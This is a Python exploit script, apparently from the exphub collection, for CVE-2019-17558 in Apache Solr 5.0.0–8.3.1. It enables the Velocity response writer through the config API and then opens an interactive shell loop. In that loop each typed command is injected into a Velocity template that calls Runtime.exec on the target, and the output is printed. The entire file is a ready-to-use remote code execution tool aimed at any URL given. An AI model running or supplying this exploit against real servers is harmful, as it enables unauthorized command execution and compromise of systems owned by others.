#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author:zhzyker
# from:https://github.com/zhzyker/exphub
# telegram:t.me/zhzyker

import requests
import sys
import json

if len(sys.argv)!=2:
    print('+------------------------------------------------------------+')
    print('+ DES: by zhzyker as https://github.com/zhzyker/exphub       +')
    print('+      Apache Solr Velocity Commons Remote Code Execution    +')
    print('+------------------------------------------------------------+')
    print('+ USE: python3 cve-2019-17558_cmd.py <url>                   +')
    print('+ EXP: python3 cve-2019-17558_cmd.py http://1.1.1.1:8983     +')
    print('+ VER: Apache Solr 5.0.0 - 8.3.1                             +')
    print('+------------------------------------------------------------+')
    sys.exit(0)
    
url = sys.argv[1]

core_url = url + "/solr/admin/cores?indexInfo=false&wt=json"
try:
    r = requests.request("GET", url=core_url, timeout=10)
    core_name = list(json.loads(r.text)["status"])[0]
    print ("[+] GET API: "+url+"/solr/"+core_name+"/config")
except:
    print ("[-] Target Not Vuln Good Luck")
    sys.exit(0)
    


api_url = url + "/solr/" +core_name+ "/config"
headers = {"Content-Type": "application/json"}
set_api_data ="""
{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
"""
api = requests.request("POST", url=api_url, data=set_api_data, headers=headers)
code = str(api.status_code)
if api.status_code == 200:
    print ("[+] <HTTP" +code+ "> SET API Success")
else:
    print ("[-] <HTTP" +code+ "> SET API Failed Good Luck")
    sys.exit(0)


def do_exp(cmd):
    vuln_url = url+"/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
    r = requests.request("GET", vuln_url)
    print (r.text)

while 1:
    cmd = input("Shell >>> ")
    if cmd == "exit" : exit(0)
    do_exp(cmd)
